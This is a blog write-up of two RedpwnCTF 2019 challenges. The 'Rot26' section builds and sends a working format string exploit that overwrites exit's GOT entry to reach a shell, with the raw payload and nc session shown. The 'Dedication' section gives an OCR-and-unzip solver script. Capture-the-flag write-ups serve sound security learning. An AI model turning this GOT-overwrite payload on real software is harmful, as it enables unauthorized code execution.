Unleash the Beast!

CTFなどのメモに使います

RedpwnCTF 2019 WriteUps

https://redpwn.net

I participated in this competition.

I solved 2 challenges, and earned 438pts.

 

 

■Rot26 (Pwn 50pts)

First of all, I looked the attached file , rot26.c.

There is an obvious FSB vulnerability in the main function.

(I tried to solve this problem by using Zeratool, but it failed.)

 

 

**********************************

root@kali:~/zeratool/Zeratool# ./rot26
AABB%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AABB0xffa64fbc.0x1000.0x8048791.(nil).(nil).(nil).0x42424141.0x252e7025.0x70252e70.0x2e70252e

**********************************

The specified string (AABB) is stored to 7th stack (0x42424141).

The function which I want to reach is, winners_room.

It's address is 0x8048737.

In the main function, exit() is called after the vulnerable printf() call.

So I want to overwrite the GOT of exit().

I checked the output of objdump.

**********************************

080484a0 <exit@plt>:
80484a0: ff 25 20 a0 04 08 jmp DWORD PTR ds:0x804a020
80484a6: 68 28 00 00 00 push 0x28
80484ab: e9 90 ff ff ff jmp 8048440 <.plt>

 **********************************

exit@got.plt : 0x804a020

All the information necessary to create an Exploit is now available.

 

Then, I create the Exploit by using my own FSB-exploit-generator.py. 

**********************************

> python .\FSB-exploit-generator.py 0x0804a020 0x08048737 7
\x20\xa0\x04\x08\x21\xa0\x04\x08\x22\xa0\x04\x08\x23\xa0\x04\x08%39c%7$hhn%80c%8$hhn%125c%9$hhn%4c%10$hhn 

**********************************

I send this Exploit to host.

-> "Please, take a shell!" is displayed, but no command can execute.

I think the Exploit succeeded, but something is wrong??

So I tried to following procedure.

(1)Add the "ls" command after the Exploit string.

**********************************

root@kali:~/zeratool/Zeratool# echo -e '\x20\xa0\x04\x08\x21\xa0\x04\x08\x22\xa0\x04\x08\x23\xa0\x04\x08%39c%7$hhn%80c%8$hhn%125c%9$hhn%4c%10$hhn\nls' | nc chall.2019.redpwn.net 4003
!"# < �
Please, take a shell!
Makefile
bin
dev
flag.txt
lib
lib32
lib64
rot26
rot26.c

**********************************

This challenge is good.

The filename of the flag file is "flag.txt".

(2)Add the "cat flag" command after the Exploit string. 

**********************************

root@kali:~/zeratool/Zeratool# echo -e '\x20\xa0\x04\x08\x21\xa0\x04\x08\x22\xa0\x04\x08\x23\xa0\x04\x08%39c%7$hhn%80c%8$hhn%125c%9$hhn%4c%10$hhn\ncat flag.txt' | nc chall.2019.redpwn.net 4003
!"# l �
Please, take a shell!
flag{w4it_d03s_r0t26_4ctu4lly_ch4ng3_4nyth1ng?} 

**********************************

The flag is : flag{w4it_d03s_r0t26_4ctu4lly_ch4ng3_4nyth1ng?} 

 

■Dedication (Forensics 388)

Unzipped the attached file -> "jjofpbwvgk" folder, and it contains "jjofpbwvgk.png" and "jjofpbwvgk.zip".

"jjofpbwvgk.zip" is password protected zip file.

Is the password contained in "jjofpbwvgk.png"??

This file is not a png file.

It contains following data.

(0,0,0) (0,0,0) (0,0,0) (0,0,0) (0,0,0) (0,0,0) (0,0,0) (0,0,0) (0,0,0)・・・

I guess it is RGB data.

There are 400 tuples in one line, and there are 600 lines.

So I think this file represents 400x600 image.

I wrote the solver by python, then I get the image file. It seems flipped password string.

I repeated several times : image restoration -> unzip.

The randam named png file and zip file are output eachtime.

I guess there are many stages to get the flag, because the title of this challenge is "Dedication".

I try to write python solver with the following plan.

Use the OCR to read the password string

(1)Plot an image from png file data using PIL.

(2)FIip the image of (1) upside down (by flip() function) and rotate left 270 degrees (by rotate() function).

(3)Read the password from the image of (2) using Tesseract as an OCR tool via pyocr.

(4)Use zipfile to unziop the zip file using the password in (3).

(5)Change the working directory to the expanded folder by using os.chdir.

     And repeat the operation from the (1) to (5) until found the flag.

 

The final solver is following.

 

#coding:UTF-8
from PIL import Image,ImageOps
import numpy as np
import re
import sys
import pyocr
import pyocr.builders
import zipfile
import os

#found the OCR tool
#Please refer : https://qiita.com/it__ssei/items/fd804dcb10997566593b
#Requirement : It is necessary to install the Tesseract 
# https://qiita.com/FukuharaYohei/items/e09049c8d312eaf166a5
tools = pyocr.get_available_tools()
if len(tools) == 0:
    print("No OCR tool found")
    sys.exit(1)
# The tools are returned in the recommended order of usage
tool = tools[0]
print("Will use tool '%s'" % (tool.get_name()))
# Ex: Will use tool 'libtesseract'

langs = tool.get_available_languages()
print("Available languages: %s" % ", ".join(langs))
lang = langs[0]
print("Will use lang '%s'" % (lang))

args = sys.argv

if len(args) != 2:
    print("Usage: # python " + args[0] + " filename")

target = args[1]

while True:
	size = (400,600)
	img = Image.new('RGBA',size)

	f = open(target + ".png", 'r')
	text1 = f.read()
	f.close()
	text2 = re.sub(',','\n',text1)
	text3 = re.sub('\)\ \(','\n',text2)
	text4 = re.sub('\) ','',text3)
	text5 = re.sub('\(','',text4)
	text6 = re.sub('\)','',text5)
	ftmp = open('tmp.txt','w')
	ftmp.write(text6)
	ftmp.close()

	f = open('tmp.txt','r')

	#linecount=0
	print("Start plotting image...")
	for y in range(size[1]):
	    for x in range(size[0]):
		#print(f.readline())
		tmp=f.readline().rstrip('\n')
		#linecount = linecount + 1
		#print("readvalue for r:"+tmp+"line:"+str(linecount))
		try:
		    r = int(tmp)
		except:
		    r = 0 
		#print("x="+str(x)+":y="+str(y)+":r="+str(r))
		tmp=f.readline().rstrip('\n')
		#linecount = linecount + 1
		#print("readvalue for g:"+tmp+"line:"+str(linecount))
		try:
		    g = int(tmp)
		except:
		    g = 0 
		#print("x="+str(x)+":y="+str(y)+":g="+str(g))
		tmp=f.readline().rstrip('\n')
		#linecount = linecount + 1
		#print("readvalue for b:"+tmp+"line:"+str(linecount))
		try:
		    b = int(tmp)
		except:
		    b = 0 
		#print("x="+str(x)+":y="+str(y)+":b="+str(b))

		img.putpixel((x,y),(r,g,b,255))

	print("End plotting image...")

	f.close()

	#show
	img_flip = ImageOps.flip(img)
	img_result = img_flip.rotate(270, expand=True)
	img_result.save("./result_"+ target +".png")

	retry_count = 0
	while True:
		try:
			password = tool.image_to_string(
			#    Image.open("./result_"+args[1]),
			    img_result,
			    lang="eng",
			    builder=pyocr.builders.TextBuilder(tesseract_layout=6)
			)
			#In this issue, password is lowercase only.
			password = password.lower()
			print( "password for " + target + " is " + password)

			with zipfile.ZipFile(target+".zip") as zf:
			    zf.extractall(path=".",pwd=password)
			    target = zf.namelist()[0].strip("/")
			    break
		except:
			#if the character on image is too big, OCR can't read it. So resize the image.
			if retry_count >= 10:
				print("It is difficult to read the password for OCR. Input the password manually.")
				break
			tmpwidth,tmpheight = img_result.size
			resize_width = int(tmpwidth*0.8)
			resize_height = int(tmpheight*0.8)
			img_result = img_result.resize((resize_width, resize_height))
			print("Unzip failed. Retry to get the password from image!")
			continue

	os.chdir(target)

> python Dedication_solve.py [folder name]

Followings are the points I struggled with.

(1)The password is a single word, so there are  "long words" pasword and "short word" password. In the case of "short word" password, sometimes OCR fails to scan the password from the image file. Because, maybe, the characters are too large to read. So I add the handler when exception raised on the decompress process : re-reading the password image after resize(smaller) the image.

(2)A special font is used, so often failed to identify the 'g'. I restarted the script manually everytime it failed, it was overhead.

f:id:imurasheen:20190819014932p:plain

(3)There are many time of misidentifications of OCR. It also needs to restart the script manually...

(4)The decompress process of the zipfile is very heavy. I didn't count, but according to other WriteUp, there are 1000 stages of decompress to get the flag...

 

I took about half aday and finally , I got a flag.

f:id:imurasheen:20190819015822p:plain

The flag is : flag{th3s_1s_tru3_d3d1cAt10N!!!}

Yes, it was true dedication...